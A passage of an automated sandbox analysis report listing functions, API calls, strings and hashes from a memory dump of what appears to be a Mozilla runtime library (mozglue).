\oleacc.dll, xrefs: 6C98F4CB

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: d518d01f0ca43661939582b4f88c497fc29ee32d89852733bd1881840c03363d
Instruction ID: 0ac2ddd907ca895738686994e4bbb0b9dbe59f323118e3fff43de7bcabe9210d
Opcode Fuzzy Hash: d518d01f0ca43661939582b4f88c497fc29ee32d89852733bd1881840c03363d
Instruction Fuzzy Hash: AF41A2306097119FE720DF69D884AAAB7F4AF55318F501E1CF59193690EB30E989CB92

Function 6C9B74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C9B7526
__Init_thread_footer.LIBCMT ref: 6C9B7566
__Init_thread_footer.LIBCMT ref: 6C9B7597

Strings

kernel32.dll, xrefs: 6C9B7557
UnmapViewOfFile2, xrefs: 6C9B7552

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 23557f1d40be708f6bbc2a2792f37a9c9aaed32311ae154127c9057c78e59403
Instruction ID: 1df685725a88da7efbf8f0a152a9759a783a643af78f7bd8d018545e3b842531
Opcode Fuzzy Hash: 23557f1d40be708f6bbc2a2792f37a9c9aaed32311ae154127c9057c78e59403
Instruction Fuzzy Hash: C5210631705901B7CB148BE88815EDA73B6EB97B29B158629D40177B80CB31FA4585B1

Function 6C9BA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DF770,-00000001,?,6C9CE330,?,6C97BDF7), ref: 6C9BA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C97BDF7), ref: 6C9BA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C97BDF7), ref: 6C9BA7E4
LeaveCriticalSection.KERNEL32(6C9DF770), ref: 6C9BA80A

Strings

accelerator.dll, xrefs: 6C9BA7BF

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: ba91293ecb05d7c24d36abeef0107773f84bab4f44c617514d488f4734f6b4d5
Instruction ID: da276d4acd9729df64fabebca267984064de832ef571fb0321f01453ca5f3ecf
Opcode Fuzzy Hash: ba91293ecb05d7c24d36abeef0107773f84bab4f44c617514d488f4734f6b4d5
Instruction Fuzzy Hash: 38018FB0608604AFDB04DF55D8C5C5277B8FB89B59715806AE809EB741DB70E800CBA1

Function 6C95F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6C95EE51,?), ref: 6C95F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6C95F0C2

Strings

ole32, xrefs: 6C95F0AD
Could not find CoTaskMemFree, xrefs: 6C95F0E3
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6C95F0DC

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 4b75fef05408374ca99fac264195139c11a3a77d7403fc1ba8592179dcadbaf8
Instruction ID: 6819c9be832eed6dc8d85ec8aa52ad2e586d394a04d03ddbb0110f4c2f98bedb
Opcode Fuzzy Hash: 4b75fef05408374ca99fac264195139c11a3a77d7403fc1ba8592179dcadbaf8
Instruction Fuzzy Hash: 79E0D872348B06DBEF049B72980962737BC5B6322D368C429F602F2E40EE21F020C661

Function 6C990080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C967204), ref: 6C990088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6C9900A7
FreeLibrary.KERNEL32(?,6C967204), ref: 6C9900BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6C9900A1
wintrust.dll, xrefs: 6C990083

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 55225c4d0e2523e96eecc38002d6bebc24c59a197e5e7a85dcea9ce664e9ddae
Instruction ID: d20e3e39dbff9f72cfa1bae2feb4fb00dd4a293afe26231eb3821f57ad67d7e0
Opcode Fuzzy Hash: 55225c4d0e2523e96eecc38002d6bebc24c59a197e5e7a85dcea9ce664e9ddae
Instruction Fuzzy Hash: BEE09A78648B45ABDF00AF6598097017AF8AB0B749F288465A926E2650DB74F0C0DF62

Function 6C9900D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C967235), ref: 6C9900D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6C9900F7
FreeLibrary.KERNEL32(?,6C967235), ref: 6C99010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6C9900F1
wintrust.dll, xrefs: 6C9900D3

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: e40693f4fa2832d51e5d9d63547323e5665aebf4246078aeb5eecd231ea008e3
Instruction ID: a18ac8204e8f5146c85344b5b34ff8ae283b667bb3cd655677d721eba4ac65be
Opcode Fuzzy Hash: e40693f4fa2832d51e5d9d63547323e5665aebf4246078aeb5eecd231ea008e3
Instruction Fuzzy Hash: 9DE04F7024DB069BEF005F65C90A7213AFCA707249F349065AA5BB2700DB70F1D0CB62

Function 6C9BC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9BC0E9), ref: 6C9BC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C9BC437
FreeLibrary.KERNEL32(?,6C9BC0E9), ref: 6C9BC44C

Strings

NtQueryVirtualMemory, xrefs: 6C9BC431
ntdll.dll, xrefs: 6C9BC413

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 75447116e7f84d1ba79c2c520b1632e2762e3c57e17d798dad06c88f4c80e2b4
Instruction ID: 26514dfef8388c21d50cdb00729a29e21d8465bd9fc3025292338e675392cd70
Opcode Fuzzy Hash: 75447116e7f84d1ba79c2c520b1632e2762e3c57e17d798dad06c88f4c80e2b4
Instruction Fuzzy Hash: B2E0B678609B02ABDF00BF71C9197127BF8A74664DF244556AA06B2750EBB0F1C0CBA2

Function 6C9B75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9B748B,?), ref: 6C9B75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C9B75D7
FreeLibrary.KERNEL32(?,6C9B748B,?), ref: 6C9B75EC

Strings

RtlNtStatusToDosError, xrefs: 6C9B75D1
ntdll.dll, xrefs: 6C9B75B3

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: eb2c4b00dbded57a71e5562010aad004f3ad21e1dd7e22e8143ede82e691d04b
Instruction ID: 40df59ded1a13b81030f65468bd256df80f8dbf679591a478ff7ba88c2647446
Opcode Fuzzy Hash: eb2c4b00dbded57a71e5562010aad004f3ad21e1dd7e22e8143ede82e691d04b
Instruction Fuzzy Hash: 10E0BF71608B02BBDF005FE1C9497827AF8E74665DF309525A915F6640DBB0F2C5CF60

Function 6C9B7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9B7592), ref: 6C9B7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C9B7627
FreeLibrary.KERNEL32(?,6C9B7592), ref: 6C9B763C

Strings

NtUnmapViewOfSection, xrefs: 6C9B7621
ntdll.dll, xrefs: 6C9B7603

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: a3c78e7a0c4b1b37242d1c006560e891df1f3268808147cad3daf989c851b670
Instruction ID: 08fa2da5de14ba76223e689c1432a0da4e80ddd1b354ecd020877e9e2c025a77
Opcode Fuzzy Hash: a3c78e7a0c4b1b37242d1c006560e891df1f3268808147cad3daf989c851b670
Instruction Fuzzy Hash: EEE0BF70609F42ABDF005FE5D8097467AB8E75679DF208519E905F2740EB70F0848F65

Function 6C9BBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C9BBE49), ref: 6C9BBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C9BBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C9BBE49), ref: 6C9BBF38
RtlReAllocateHeap.NTDLL ref: 6C9BBF83
RtlFreeHeap.NTDLL ref: 6C9BBFA6

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: fac1ea168fb539be759c728daa2a1a4bc70a7676fafcdf65d9227617447c575e
Instruction ID: d2fb92434c0f73e8a4868eef144d7f2d3d94a70513ed11d55859f9e572d3dbfc
Opcode Fuzzy Hash: fac1ea168fb539be759c728daa2a1a4bc70a7676fafcdf65d9227617447c575e
Instruction Fuzzy Hash: CA51AC71A002029FE710DF69CCC0BABB7B6FF98314F284629D515A7B94D730F9168B81

Function 6C9A8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?,6C9CD734), ref: 6C9A8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?,6C9CD734), ref: 6C9A8EBF
free.MOZGLUE(?,?,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?), ref: 6C9A8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?,6C9CD734), ref: 6C9A8F46
free.MOZGLUE(?,?,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?), ref: 6C9A8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?), ref: 6C9A8F8F

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: e8af636b1f715f565ab26f8f3cd5aca5fcbabb8113d16e624d1802aa8c90361c
Instruction ID: e012b4b48f6f09e852f1ae7b25b2bc6b4bff92b210284a541196042c4a149aac
Opcode Fuzzy Hash: e8af636b1f715f565ab26f8f3cd5aca5fcbabb8113d16e624d1802aa8c90361c
Instruction Fuzzy Hash: D351C2B1A012568FEB18CF94D88076EB7B6FF48308F25052AD916AB740E731F916CBD5

Function 6C9660E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9660F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C966180
free.MOZGLUE(?,?,?,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C966211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C966229
free.MOZGLUE(?,?,?,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C96625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C966271

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 832bf1bbfc584e310abbd1fb11c1dee486a33933e62c530667f339d1a8a11485
Instruction ID: 277197432b3d2e20d07a38f459979d41e6299bfee315dc1d55d38f0b1b2d5919
Opcode Fuzzy Hash: 832bf1bbfc584e310abbd1fb11c1dee486a33933e62c530667f339d1a8a11485
Instruction Fuzzy Hash: 48518AB1A042068FFB14CFA9D8807AEB7B5EF45308F210539C616E7B91E731EA58CB51

Function 6C9A27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A289A
free.MOZGLUE(?,?,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A2910
free.MOZGLUE(00000001,?,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A294E

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 8dc565d372aa64bcd6f66d2e12182e9c5d3c42fea9bb05fb19ae70bb24775fb6
Instruction ID: 3b03178faf194123a2c98558c508a7d653ffab896ad1c099d497d1e6d20be9f3
Opcode Fuzzy Hash: 8dc565d372aa64bcd6f66d2e12182e9c5d3c42fea9bb05fb19ae70bb24775fb6
Instruction Fuzzy Hash: 494115B1A04A068FEB14CFA9D98436A73F5EF85708F240539D95AEB740E731E905CB51

Function 6C95CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C95CFF6
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C95D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C95D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C95D139

Strings

MOZ_CRASH(), xrefs: 6C95D187

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: e85a125eca344988a789748d39649748eb56f54624cf086519c45077b0b5a3a6
Instruction ID: 778ac0424efc2c184f9cf4d152fd8beb73a8cb29c4d2ddf13372aeb212a43488
Opcode Fuzzy Hash: e85a125eca344988a789748d39649748eb56f54624cf086519c45077b0b5a3a6
Instruction Fuzzy Hash: 6A41D132B05A168FDB48CE7C8D9036AB6B4EB49B14F650139E918F7784D7A1AD808BD1

Function 6C954DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C954E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C954E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C954EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C954F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C954F1E

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: bb14178c740c82bfc4c468047a3b685c75b069f3137399ea0622dc03361bfba7
Instruction ID: b1df8f9db74fa726fa3717e1108051fe95a492a82b2905c21d5392e83629f895
Opcode Fuzzy Hash: bb14178c740c82bfc4c468047a3b685c75b069f3137399ea0622dc03361bfba7
Instruction Fuzzy Hash: 7641DE716087019FC745CF29C88095BBBE8BF99344F508A2DF86697B41DB31E978CB92

Function 6C961530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C96159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C9615BC
moz_xmalloc.MOZGLUE(-00000001,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C9615E7
free.MOZGLUE(?,?,?,?,?,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C961606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C961637

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 31e365f89d59d7e06a2cb2fd489cb08d7e5c9c7207f9e57073af560ffe06ab28
Instruction ID: 4bae577ba2892f03bb6f1278af77a25595c102d96fd1185dc0671bae05ec1676
Opcode Fuzzy Hash: 31e365f89d59d7e06a2cb2fd489cb08d7e5c9c7207f9e57073af560ffe06ab28
Instruction Fuzzy Hash: 0231E872A001159BEB188E7DD85147EB7A9FB923647280B2DE423DBFD4EB30D9148792

Function 6C9BAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAD9D

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAE01
GetLastError.KERNEL32(?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAE3D

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
